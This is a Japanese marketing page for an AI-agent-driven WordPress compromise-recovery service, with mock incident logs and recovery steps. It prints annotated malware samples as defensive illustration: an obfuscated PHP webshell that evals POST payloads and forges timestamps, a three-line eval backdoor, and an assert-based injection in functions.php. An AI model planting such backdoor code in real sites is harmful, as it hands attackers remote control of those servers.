無料診断

Compromised sites. Restored futures.

CASE FILE — 002WP RESCUE UNIT
INTRUSION DETECTED

あなたのWordPressは、
すでにハッキング
されているかもしれない。

WordPressが乗っ取られた瞬間でも、外からは気づけない。 WATRIXのAIエージェント群が防壁の綻びの手掛かりを素早く洗い出し、原則24時間以内の着手を目標に動きます。

URL 1 行・登録不要・結果は即時表示。WordPress 以外のサイトも診断できます。

18体

AIエージェント稼働

24h

以内着手(原則)

2h20m

実対応最速記録

※「2h20m」は特定事例の参考値です。所要時間はサイト規模・侵害深度・サーバ環境により大きく変動します。すべての WordPress サイトで同じ時間を保証するものではありません。

SPECIAL RESPONSE UNIT

少数精鋭のAIエージェント特務チームが、有人責任者と共に原則24時間以内に着手します。

watrix-incident-cli — agents.live — 88×24

[00:00:01] INFO scan target = wp-rescue-target.example

[00:00:04] INFO agent[fingerprint] → WordPress core v6.2 detected

[00:00:07] WARN agent[plugin-audit] → 2 plugins outdated (CVE match)

[00:00:11] ALERT agent[webshell-hunt] → suspicious file: wp​-content/uploads/.x7f.php

[00:00:13] ALERT agent[barrier] → 防御レイヤーに侵入痕跡を確認

[00:00:16] INFO agent[redirect-check] → unauthorized 301 chain found

[00:00:19] OK forensics snapshot secured → r2://incident-snapshots/…

[00:00:21] INFO escalating to human responder…

[00:00:22] ▍

※ 表示は侵害対応時のログ表現をイメージ化したものです(実データではありません)。

New detections

UPDATE — 2026.11.08FREE SCAN

新しい脅威を、診断に足していく。

新しい脆弱性への診断対応と、サービスの改善を続けています。何をいつ追加したか、調べ方とその限界を更新情報で確認できます。

Detections added / 2026.11.08

新しく診断に加えた脆弱性・侵害

critical
1
warning
0
info
0

Live coverage

数字は実際の記録から自動で計算しています。

Vulnerabilities matched照合できる脆弱性

前日から +1 件

Wordfence Intelligence が公開している WordPress のプラグインとテーマの脆弱性のうち、版で照合できる 43,216 件と、独自に追加した診断ルール 39 件を合わせた数です(2026.11.10 時点)。

Advisories checked毎日確かめている公表情報

2026.11.09 の収集で取得し、診断ルールと照らし合わせた公表情報の数です。内訳は米国 CISA の KEV(攻撃が確認された脆弱性の一覧)1,769 件、開発元の公式告知 99 件、日本の JPCERT/CC が出した注意喚起と Weekly Report の項目 21 件です。

Disclosure to detection公表から診断に反映するまで

PHP php2shell は公表(2026.10.21 21:59)から 2 時間 7 分後(2026.10.22 00:06)に、本番の無料診断で調べられるようになりました。公表と反映の時刻を一次情報で確かめられた 1 件のうち、いちばん短いものです。時刻は日本時間です。

SCENE 01 — ATTACK MAP

攻撃は、いまも続いている。

SCRUB 000%
SCRUB 000%

SCENE 02 — CODE AUTOPSY

侵害コードを、解剖する。

実際の駆除現場で見つかるwebshell(演習環境で再現したサンプル)。スクロールに合わせて、私たちが読む順番で1行ずつ追っていきます。

ANNOTATION 01

関数名を16進エスケープで分解し、文字列検索から逃げる典型的な難読化です。

ANNOTATION 02

外部からのPOSTを無条件に実行する遠隔操作の入口。ここが「乗っ取り」の実体です。

ANNOTATION 03

更新日時を過去に偽装し、「最近変更されたファイル」の調査から隠れようとします。

/wp​-content/uploads/2026/06/.cache.phpQUARANTINED SAMPLE
01<?php02/* GIF89a — 画像ヘッダを装う偽装バイト */03error_reporting(0);04set_time_limit(0);05$k = "\x62\x61\x73\x65\x36\x34_decode";  // 関数名を分解して隠す06$z = $k("Z3p1bmNvbXByZXNz");            // gzuncompress07$w = $_SERVER["HTTP_USER_AGENT"] ?? "";08if (strpos($w, "Mozilla") === false) { exit; }  // 監視クローラを回避09@eval($z($k($_POST["payload"])));PURGED10file_put_contents(".sess_" . md5(__FILE__), $_POST["c"] ?? "");PURGED11@touch(__FILE__, strtotime("2024-01-15"));  // 更新日時を偽装12header("Content-Type: image/gif");13echo base64_decode("R0lGODlhAQABAAAA");   // 1px GIFを返し正常を装う14?>
SCRUB 000%
watrix@rescue: ~/incident-recoveryRECOVERY SHELL
$
▸ [ 8 files ] checksum mismatch — flagged
$
▸ evidence preserved: 2.4 GB (sha256 verified)
$
▸ 312 infected files across 9 directories
$
▸ webshell isolated → /quarantine/0001.bin
$
▸ purging injected payloads ... 312 → 41
$
▸ removed 3 injected script rows / siteurl restored
$
▸ rogue admin removed / all sessions revoked
$
▸ core reinstalled clean / 24 plugins current
$
▸ virtual patch + integrity watch enabled
$
▸ 0 threats found — monitoring engaged

SCENE 03 — RECOVERY SEQUENCE

駆除は、退屈なほど確実に。

INFECTED FILES REMAINING

312

STATUS: COMPROMISEDCLEAN — MONITORING

CLEAN

※ 本セクションのログ・コード・数値は、実対応をもとにした演出用の再現です(個別情報は匿名化)。

Field Notes — WordPress 侵害現場ログ

「WordPress のマルウェア、
駆除しました」を、鵜呑みにしないでください。

他社で復旧が終わったあと、WP-AIレスキューにセカンドオピニオンを依頼すると、 こういう の見落とし が見つかることがあります。 WordPress の侵害現場で AI エージェントが実際に検出した、3つの典型サンプルです。

Sample 01 / 01 of 03

uploads配下に仕込まれた

📄 wp​-content/uploads/2026/05/lk9d8f.php

本サンプルは演習環境で実検出されたもの。アクセスログを精査しないと、設置と実行が一致せず見落とされる。

FIELD REPORT / 03 CASES LOGGED
lk9d8f.php
<?php
/* lk9d8f.php — 一見、単なる空ファイル。
   実態は、攻撃者が任意のPHPコードを実行できるバックドア。 */

if (isset($_REQUEST["c"])) {
  @eval(base64_decode($_REQUEST["c"]));
}
//↑ この3行で、サイト全体が攻撃者のものになる。
Sample 02 / 02 of 03

テーマfunctions.phpへの「自動再生成」型注入

📄 wp​-content/themes/twentytwentyfour/functions.php

「ファイル名は変えられない、中身だけ汚染」型。テーマ更新で消すと管理画面ごと壊れるため、行範囲特定が必須。

FIELD REPORT / 03 CASES LOGGED
functions.php
// — 末尾に静かに追記される、難読化された再注入トリガー —
$_HK = "Z3ppbmZsYXRl";  // = "gzinflate"
@${$_HK = base64_decode($_HK)};  // 動的関数解決
if (isset($_GET["x"]) && $_GET["x"] === "ping") {
  @assert($_POST["p"] ?? "true");  // 任意コード実行
}
Sample 03 / 03 of 03

wp​_options への「リダイレクトハイジャック」

📄 wp​_options.siteurl / wp​_options._evil_url

ファイル系のスキャンだけでは絶対に見つからない。DBクエリでの直接照合が必要。

FIELD REPORT / 03 CASES LOGGED
wp​_options._evil_url
-- DB上の設定値が、ある日こうなっている。
SELECT option_name, option_value
FROM wp​_options
WHERE option_name IN ('siteurl', 'home');

-- option_value がこっそり外部ドメインに書き換わると、
-- ログイン画面まで攻撃者制御サーバへリダイレクトされる。

WordPress への侵害は、「気付かれにくい場所」に潜みます。

人手で1ファイルずつ目視している限り、見落としは生まれやすくなります。 18体の AI エージェントが 同時並列で 全ファイル・全 DB レコード・全アクセスログを照合し、 「この1行だけ怪しい」を徹底的に拾い上げる——これが WP-AIレスキューのアプローチです。

Service Overview

WordPress の侵害対応、まずどこから読むか。

すでに WordPress が侵害された疑いがある方は 「症状から確かめる」 から、 業者選定の比較検討中の方は 「復旧の中身を知る」・「実例を読む」 から、 それぞれ目的に合わせてお進みください。

Step 01

WordPress の症状から確かめる

改ざん・乗っ取り・マルウェア混入・管理画面ログイン不可など、WordPress 侵害でよくある12の症状を1分で確認。当てはまれば、サイト URL を1行入れるだけで無料診断へ進めます。

症状を確認する
Step 02

WordPress 復旧の中身を知る

侵害対応を専門とする 18体の AI エージェント体制と、WordPress エコシステム準拠の7フェーズ。改ざん検出・封じ込め・ハードニングが、どんな順で進むのかを公開しています。

サービス詳細を見る
Case File

WordPress 復旧の実例を読む

侵害発覚から完全復旧までの WordPress フィールドレポートを公開中。侵入経路の特定から証拠保全まで、ケースごとに4章のドキュメンタリーで追跡します。

ケースファイルを開く
Step 03

料金を見る

WordPress 緊急復旧・フォレンジック調査・月次運用の3プラン。一般的な復旧業者との対応範囲の違いと、二次被害コストの参考レンジを比較表で掲載しています。

料金プランへ
Partner

Web 制作会社の方へ

WordPress 制作会社・サーバ会社の方向けのパートナー制度。紹介フィー20%キャッシュバック・共同対応・競合提案なしで、緊急復旧だけ引き受けます。

パートナー制度を見る
FAQ

よくあるご質問

他社で WordPress 復旧済みでも依頼できますか/支払いタイミング/個人情報漏洩の通知義務/復旧失敗時の保証——12のよくあるご質問に正直にお答えしています。

FAQ を読む
Get Started

WordPress も、それ以外も。侵害は、一刻も早く専門家へ。

サイト URL を1行いただくだけで、まずは現状を見立てます。
緊急復旧・お見積もりのご依頼も、症状の詳細をお送りいただければ、原則24時間以内の着手を目標に動き始めます。深夜・土日もお気軽に。

WordPress 以外のサイトも診断できます。Next.js・Laravel などで作ったサイトの侵害調査・復旧もご相談ください。

WordPress 以外のサイトを相談する

URL を1行入力するだけ · 速やかに折り返し · 後払い対応